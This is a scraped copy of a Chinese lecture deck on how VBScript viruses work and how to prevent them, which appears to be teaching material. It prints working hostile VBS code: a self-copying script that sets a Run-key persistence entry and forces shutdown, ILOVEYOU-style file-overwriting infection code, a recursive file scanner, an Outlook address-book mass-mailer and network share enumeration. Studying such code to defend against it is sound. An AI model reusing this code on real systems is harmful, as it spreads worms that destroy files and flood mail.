脚本病毒原理分析与防范.ppt
《脚本病毒原理分析与防范.ppt》由会员分享,可在线阅读,更多相关《脚本病毒原理分析与防范.ppt(61页珍藏版)》请在三一办公上搜索。
1、脚本病毒原理分析与防范,目录,一、Vbs脚本病毒的特点及发展现状二、Vbs脚本病毒原理分析三、如何防范vbs脚本病毒四、对所有脚本类病毒发展的展望,自动关机 Dim fs,dirwin,c,Wll,str,strr,r Set fs=CreateObject(Scripting.FileSystemObject)Set dirwin=fs.GetSpecialFolder(1)Set Wll=WScript.CreateObject(WScript.Shell)Set c=fs.GetFile(WScript.ScriptFullName)str=HK&LMSOFT&WAREMicr&osof
2、tWin&dowsCurren&tVersionR&unwxb if(fs.FileExists(dirwin&wxb.vbs)Then call Show_And_Do(reg)elseif(fs.FileExists(C:Documents and SettingsAll UsersStart MenuProgramsStartupwxb.vbs)Then call Show_And_Do(Startup)else On Error Resume Next strr=Wll.RegWrite str,C:WINDOWSsystem32wxb.vbs,REG_SZ strr=Wll.Regr
3、ead(str)if strr=then,c.Copy(C:Documents and SettingsAll UsersStart MenuProgramsStartupwxb.vbs)else c.Copy(dirwin&wxb.vbs)end if end if sub Show_And_Do(s)dim f r=MsgBox(提问:你认为你是猪吗?&Chr(13)&Chr(10)&确定是猪&Chr(10)&取消不是猪,4145,MsgBox Example)If r=1 Then if s=Startup then set f=fs.GetFile(C:Documents and Se
4、ttingsAll UsersStart MenuProgramsStartupwxb.vbs)f.Delete()elseif s=reg then Wll.RegDelete str set f=fs.GetFile(dirwin&wxb.vbs)f.Delete()end if Else wll.run Shutdown.exe-s-f-t 0 End If end sub,网络的流行,让我们的世界变得更加美好,但它也有让人不愉快的时候。当您收到一封主题为“I Love You”的邮件,用兴奋得几乎快发抖的鼠标去点击附件的时候;当您浏览一个信任的网站之后,发现打开每个文件夹的速度非常慢的
5、时候,您是否察觉病毒已经闯进了您的世界呢?2000年5月4日欧美爆发的“爱虫”网络蠕虫病毒。由于通过电子邮件系统传播,爱虫病毒在短短几天内狂袭全球数百万计的电脑。微软、Intel等在内的众多大型企业网络系统瘫痪,全球经济损失达几十亿美元。而去年爆发的新欢乐时光病毒至今都让广大电脑用户更是苦不堪言。上面提及的两个病毒最大的一个共同特点是:使用VBScript编写。以爱虫和新欢乐时光病毒为典型代表的VBS脚本病毒十分的猖獗,很重要的一个原因就是其编写简单。下面我们就来逐一对VBS脚本病毒的各个方面加以分析:,一、Vbs脚本病毒的特点及发展现状,VBS病毒是用VB Script编写而成,该脚本语言功
6、能非常强大,它们利用Windows系统的开放性特点,通过调用一些现成的Windows对象、组件,可以直接对文件系统、注册表等进行控制,功能非常强大。应该说病毒就是一种思想,但是这种思想在用VBS实现时变得极其容易。VBS脚本病毒具有如下几个特点:1编写简单,一个以前对病毒一无所知的病毒爱好者可以在很短的时间里编出一个新型病毒来。2破坏力大。其破坏力不仅表现在对用户系统文件及性能的破坏。他还可以使邮件服务器崩溃,网络发生严重阻塞。3感染力强。由于脚本是直接解释执行,并且它不需要像PE病毒那样,需要做复杂的PE文件格式处理,因此这类病毒可以直接通过自我复制的方式感染其他同类文件,并且自我的异常处理
7、变得非常容易。,4传播范围大。这类病毒通过htm文档,Email附件或其它方式,可以在很短时间内传遍世界各地。5病毒源码容易被获取,变种多。由于VBS病毒解释执行,其源代码可读性非常强,即使病毒源码经过加密处理后,其源代码的获取还是比较简单。因此,这类病毒变种比较多,稍微改变一下病毒的结构,或者修改一下特征值,很多杀毒软件可能就无能为力。6欺骗性强。脚本病毒为了得到运行机会,往往会采用各种让用户不大注意的手段,譬如,邮件的附件名采用双后缀,如.jpg.vbs,由于系统默认不显示后缀,这样,用户看到这个文件的时候,就会认为它是一个jpg图片文件。7使得病毒生产机实现起来非常容易。所谓病毒生产机,
8、就是可以按照用户的意愿,生产病毒的机器(当然,这里指的是程序),目前的病毒生产机,之所以大多数都为脚本病毒生产机,其中最重要的一点还是因为脚本是解释执行的,实现起来非常容易,具体将在我们后面谈及。正因为以上几个特点,脚本病毒发展异常迅猛,特别是病毒生产机的出现,使得生成新型脚本病毒变得非常容易。,二、Vbs脚本病毒原理分析,1vbs脚本病毒如何感染、搜索文件 VBS脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部,并在顶部加入一条调用病毒代码的语句,而爱虫病毒则是直接生成一个文件的副本
9、,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和搜索原理:,以下是文件感染的部分关键代码:Set fso=createobject(scripting.filesystemobject)创建一个文件系统对象set self=fso.opentextfile(wscript.scriptfullname,1)读打开当前文件(即病毒本身)vbscopy=self.readall 读取病毒全部代码到字符串变量vbscopyset ap=fso.opentextfile(目标文件.path,2,true)写打开目标文件,
10、准备写入病毒代码ap.write vbscopy 将病毒代码覆盖目标文件ap.closeset cop=fso.getfile(目标文件.path)得到目标文件路径cop.copy(目标文件.path&.vbs)创建另外一个病毒文件(以.vbs为后缀)目标文件.delete(true)删除目标文件上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量vbscopy,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本,最后删除目标文件。,下面我们具体分析一下文件搜索代码:该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本su
11、b scan(folder_)scan函数定义,on error resume next 如果出现错误,直接跳过,防止弹出错误窗口Set fso=CreateObject(Scripting.FileSystemObject)set folder_=fso.getfolder(folder_)set files=folder_.files 当前目录的所有文件集合for each file in filesext=fso.GetExtensionName(file)获取文件后缀ext=lcase(ext)后缀名转换成小写字母if ext=doc then如果后缀名是mp5,则进行感染。请自己建立
12、相应后缀名的文件,最好是非正常后缀名,以免破坏正常程序。,Wscript.echo(file)end ifnextset subfolders=folder_.subfoldersfor each subfolder in subfolders 搜索其他目录;递归调用scan subfolderscan(subfolder)nextend sub上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan()函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。,2vbs脚本病毒通过网络传播的几种方式及代码分析 VBS脚本病毒之所以传播范围广,主要依赖于它的网络
13、传播功能,一般来说,VBS脚本病毒采用如下几种方式进行传播:1)通过Email附件传播 这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。,Application:The Application object represents the entire Outlook application and is the top object in the hierarchy.The Application object is also the only ob
14、ject that can be returned when Automating Outlook.Namespace:The Namespace object represents the messaging service provider or message store.Currently the only available message store in Outlook is MAPI,which allows access to all Outlook folders and items.Folders:All Outlook items are contained withi
15、n folders.These folders are then grouped into a collection of folders called the Folders collection object.The Folders collection object represents a collection of all folders within Outlook.Although currently only MAPIFolder objects exist in this collection,eventually other folder types may exist.,
16、MAPIFolder:A MAPIFolder object represents a single Outlook folder such as Contacts or the Inbox.A MAPIFolder object can contain individual items such as messages or appointments,or it can contain other folders.Folders can be typed to contain only a default item such as only e-mail items or only appo
17、intment items.Items:Every folder has an Items collection object,which represents all Outlook objects within that folder.The Items collection can be broken down further into specific types of items such as e-mail messages,appointments,and tasks.AddressLists and AddressEntries:The AddressLists collect
18、ion object represents all of the address books installed for a particular profile.Within each individual AddressList object is a collection of AddressEntries.This collection contains all of the entries in that particular book.Entries can be added,edited,and removed programmatically.,下面我们具体分析一下VBS脚本病
19、毒是如何做到这一点的:Function mailBroadcast()on error resume nextwscript.echoSet outlookApp=CreateObject(Outlook.Application)/创建一个OUTLOOK应用的对象If outlookApp=Outlook ThenSet mapiObj=outlookApp.GetNameSpace(MAPI)/获取MAPI的名字空间Set addrList=mapiObj.AddressLists/获取地址表的个数For Each addr In addrListIf 0 ThenaddrEntCount=
20、/获取每个地址表的Email记录数,For addrEntIndex=1 To addrEntCount/遍历地址表的Email地址Set item=outlookApp.CreateItem(0)/获取一个邮件对象实例Set addrEnt=addr.AddressEntries(addrEntIndex)/获取具体Email地址item.To=addrEnt.Address/填入收信人地址 item.Subject=病毒传播实验/写入邮件标题item.Body=这里是病毒邮件传播测试,收到此信请不要慌张!/写入文件内容Set attachMents=item.Attachments/定义邮
21、件附件attachMents.Add fileSysObj.GetSpecialFolder(0)&item.DeleteAfterSubmit=True/信件提交后自动删除If item.To Thenitem.Send/发送邮件shellObj.regwrite HKCUsoftwareMailtestmailed,1/病毒标记,以免重复感染End IfNextEnd IfNextEnd ifEnd Function,2)通过局域网共享传播 局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如win2000创建共
22、享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。在VBS中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。,welcome_msg=网络连接搜索测试Set WSHNetwork=WScript.CreateObject(WScript.Network)创建一个网络对象Set oPrinters=WshNetwork.EnumPrinterConnections 创建一个网络打印机连接列表WScript.Echo Network printer mappings:For i=0 to oPrinters.C
23、ount-1 Step 2 显示网络打印机连接情况WScript.Echo Port&oPrinters.Item(i)&=&oPrinters.Item(i+1)Next Set colDrives=WSHNetwork.EnumNetworkDrives 创建一个网络共享连接列表If colDrives.Count=0 ThenMsgBox 没有可列出的驱动器。,vbInformation+vbOkOnly,welcome_msg ElsestrMsg=当前网络驱动器连接:&CRLFFor i=0 To colDrives.Count-1 Step 2 strMsg=strMsg&Chr(
24、13)&Chr(10)&colDrives(i)&Chr(9)&colDrives(i+1)NextMsgBox strMsg,vbInformation+vbOkOnly,welcome_msg显示当前网络驱动器连接End If上面是一个用来寻找当前打印机连接和网络共享连接并将它们显示出来的完整脚本程序。在知道了共享连接之后,我们就可以直接向目标驱动器读写文件了。,3)通过感染htm、asp、jsp、php等网页文件传播 如今,WWW服务已经变得非常普遍,病毒通过感染htm等文件,势必会导致所有访问过该网页的用户机器感染病毒。病毒之所以能够在htm文件中发挥强大功能,采用了和绝大部分网页恶意
25、代码相同的原理。基本上,它们采用了相同的代码,不过也可以采用其它代码,这段代码是病毒FSO,WSH等对象能够在网页中运行的关键。在注册表HKEY_CLASSES_ROOTCLSID下我们可以找到这么一个主键 F935DC22-1CF0-11D0-ADB9-00C04FD58A0B,注册表中对它他的说明是“Windows Script Host Shell Object”,同样,我们也可以找到0D43FE01-F093-11CF-8940-00A0C9054228,注册表对它的说明是“FileSystem Object”,一般先要对COM进行初始化,在获取相应的组件对象之后,病毒便可正确地使用F
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 脚本 病毒 原理 分析 防范
![提示](https://www.31ppt.com/images/bang_tan.gif)
链接地址:https://www.31ppt.com/p-6374920.html